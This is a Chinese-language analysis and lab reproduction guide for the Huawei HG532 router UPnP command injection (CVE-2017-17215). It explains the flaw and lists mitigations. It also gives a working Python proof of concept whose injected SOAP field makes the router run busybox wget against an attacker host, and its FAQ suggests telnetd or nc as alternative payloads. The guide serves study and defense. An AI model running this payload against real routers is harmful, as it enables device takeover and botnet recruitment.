CVE-2017-17215-HG532命令注入漏洞分析
字数 1490 2025-08-29 08:32:18
CVE-2017-17215华为HG532路由器命令注入漏洞深入分析与复现指南
漏洞概述
CVE-2017-17215是华为HG532系列路由器中存在的一个严重命令注入漏洞,该漏洞被Mirai病毒的升级版变种OKIRU/SATORI利用进行传播。漏洞存在于设备的UPnP服务中,允许攻击者通过精心构造的SOAP请求实现任意命令执行。
漏洞影响
- 受影响设备:华为HG532系列家用路由器
- 漏洞类型:命令注入
- CVSS评分:9.8 (Critical)
- 攻击复杂度:低
- 所需权限:无需认证
- 影响范围:远程代码执行
漏洞原理分析
技术背景
UPnP(Universal Plug and Play)服务是路由器上常见的服务,用于简化网络设备的发现和通信。华为HG532路由器通过/ctrlt/DeviceUpgrade_1端点处理固件升级相关的SOAP请求。
漏洞根源
漏洞位于bin/upnp二进制文件中,具体在sub_40749c函数中。该函数处理XML请求时存在以下问题:
- 使用
ATP_XML_GetChildNodeByName获取<NewStatusURL>节点内容 - 未对获取的内容进行任何过滤或验证
- 直接将用户输入拼接到
system()函数执行的命令中
漏洞利用机制
攻击者可以通过在<NewStatusURL>或<NewDownloadURL>节点中注入特殊字符(如分号;)来闭合原有命令并执行任意命令。例如:
<NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>
这将导致执行如下命令:
upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r ;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1; -d -
漏洞复现环境搭建
所需工具
- QEMU系统级模拟器
- Debian Squeeze MIPS镜像
- 华为HG532固件
- Python requests库
环境配置步骤
-
安装QEMU:
sudo apt-get install qemu-system-mips -
下载并启动Debian MIPS虚拟机:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mips_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic -
将HG532固件传输到虚拟机中:
scp HG532_firmware.bin root@qemu-ip:/root/ -
设置固件环境:
mkdir hg532 cd hg532 unsquashfs ../HG532_firmware.bin chroot . sh -
启动UPnP服务:
./bin/mic -
验证服务运行:
netstat -l确认37215端口处于监听状态
漏洞利用(PoC)
Python利用代码
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
response = requests.post('http://172.16.16.21:37215/ctrlt/DeviceUpgrade_1', headers=headers, data=data)
print(response.text)
利用步骤
- 修改PoC中的IP地址为目标路由器IP
- 设置攻击机上的HTTP服务器
- 执行PoC脚本
- 观察目标路由器是否下载了指定文件
静态分析指南
使用Binwalk提取固件
binwalk -Me HG532_firmware.bin
IDA Pro分析关键函数
- 在IDA中打开
bin/upnp文件 - 搜索字符串
DeviceUpgrade_1定位漏洞函数 - 分析
sub_40749c函数的控制流 - 重点关注
ATP_XML_GetChildNodeByName和system函数的调用
关键代码片段
// 伪代码表示漏洞函数
int sub_40749c() {
char *NewStatusURL = ATP_XML_GetChildNodeByName("NewStatusURL");
char cmd[256];
snprintf(cmd, sizeof(cmd), "upg -g -U %%s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -", NewStatusURL);
system(cmd); // 漏洞点
}
防御措施
临时缓解方案
- 禁用UPnP服务
- 配置防火墙规则阻止37215端口的访问
长期解决方案
- 升级到华为官方发布的最新固件
- 实施输入验证和过滤
- 使用安全的函数替代
system()调用 - 实施最小权限原则
参考资源
- Huawei Home Routers in Botnet Recruitment
- 华为HG532远程命令执行漏洞的新探索
- CVE-2017-17215路由器漏洞分析
- 华为HG532系列路由器远程命令执行漏洞分析
附录
常见问题解答
Q: 为什么mic启动后IP变为192.168.1.1?
A: 这是HG532固件的默认配置行为,可以通过修改网络配置或使用桥接模式解决连接问题。
Q: 如何验证漏洞是否修复?
A: 检查固件版本是否为最新,并尝试使用PoC进行测试(在授权环境下)。
Q: 除了wget,还能执行哪些命令?
A: 由于使用了busybox,几乎所有busybox支持的命令都可以执行,如telnetd、nc等。